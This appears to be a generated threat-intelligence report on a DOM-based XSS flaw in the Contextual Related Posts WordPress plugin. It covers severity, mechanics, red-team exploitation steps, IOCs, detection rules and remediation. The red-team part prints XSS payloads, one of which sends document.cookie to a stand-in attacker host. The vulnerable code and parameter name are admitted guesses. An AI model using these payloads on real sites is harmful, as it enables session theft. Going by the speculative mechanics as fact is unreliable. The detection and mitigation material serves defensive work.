CVE-2025-47506

Executive Summary

CVE-2025-47506 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Contextual Related Posts WordPress plugin by Ajay, versions up to and including 4.0.2. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. This is a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 6.5 (Medium), and while no public exploit code or proof-of-concept is currently available, the risk is elevated due to the widespread use of WordPress plugins. The EPSS score is 0.0%, indicating low immediate exploitation likelihood, but the lack of a patch makes proactive detection critical.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are affected. No package manager (NPM, PyPI, Go, Ruby) is involved, but the plugin's update mechanism is the primary vector for remediation. Organizations should inventory all WordPress sites using this plugin and prepare for an emergency update once a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the plugin's popularity make it a target for phishing campaigns and drive-by attacks.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS in the Contextual Related Posts plugin. The plugin dynamically generates related post links and inserts them into the DOM. The flaw lies in how it handles user-supplied input (e.g., via URL parameters or stored data) when constructing these links. Specifically, the plugin fails to sanitize or escape input before using it in innerHTML or similar DOM manipulation methods.

Attack Vector:

1. An attacker crafts a malicious URL containing a JavaScript payload in a parameter (e.g., ?crp_payload=<script>alert('XSS')</script>).
2. The victim clicks the link and lands on a WordPress page using the plugin.
3. The plugin reads the parameter and inserts it into the DOM without sanitization.
4. The browser executes the injected script, allowing the attacker to steal cookies, redirect the user, or perform actions on their behalf.

Root Cause: The plugin uses document.write or element.innerHTML with unsanitized input, bypassing WordPress's built-in escaping functions like esc_js() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.0.2):

// Example vulnerable JavaScript snippet
var userInput = getParameterByName('crp_payload');
document.getElementById('related-posts').innerHTML = userInput;

Patched Code (Hypothetical):

// Patched version using textContent or sanitization
var userInput = getParameterByName('crp_payload');
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('related-posts').textContent = sanitized;

The patch would involve either using textContent instead of innerHTML or passing input through a sanitization library like DOMPurify. Since no official patch exists, this is a best-guess remediation.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• WordPress 6.x with Contextual Related Posts plugin v4.0.2.
• Attacker machine with a browser and Burp Suite.
• Victim machine with a modern browser.

Exploitation Steps:

1. Identify a page using the plugin (e.g., a single post page).
2. Craft a URL: http://victim-site.com/?crp_payload=<img src=x onerror=alert(document.cookie)>
3. Send the link to the victim via phishing email or social media.
4. When the victim clicks, the script executes, exfiltrating cookies to an attacker-controlled server.

Example Payload:

http://victim-site.com/?crp_payload=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing crp_payload or similar parameters with suspicious characters (<, >, script).
• Use WAF rules to block requests with JavaScript event handlers (e.g., onerror, onload).

Mitigation:

• Disable the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a Web Application Firewall (WAF) with XSS signatures.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing crp_payload= followed by <script> or <img onerror= tags.
• Log Entries: HTTP 200 responses to pages with the plugin and suspicious query strings.
• Client-Side Artifacts: JavaScript execution of document.cookie or fetch() to external domains.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.

Detection Engineering

YARA Rule

rule CVE_2025_47506_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS payloads targeting Contextual Related Posts plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47506"
    strings:
        $payload1 = "crp_payload="
        $payload2 = "<script"
        $payload3 = "onerror="
        $payload4 = "onload="
    condition:
        any of ($payload*) and #payload1 > 0
}

Sigma Rule

title: CVE-2025-47506 DOM XSS in Contextual Related Posts
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "crp_payload="
        c-uri|contains|any:
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of similar parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47506 DOM XSS in Contextual Related Posts"; flow:to_server; content:"crp_payload="; http_uri; content:"<script"; within:100; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Contextual Related Posts plugin on all WordPress sites until a patch is released.
2. Short-term: Implement a WAF rule to block requests containing crp_payload= with script-like content.
3. Long-term: Apply the official patch from the plugin developer once available. Monitor the WordPress plugin repository for updates.
4. Compensating Controls: Enforce a strict Content Security Policy (CSP) that disallows inline scripts and restricts script sources.
5. User Education: Train users to avoid clicking suspicious links, especially those with query parameters.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.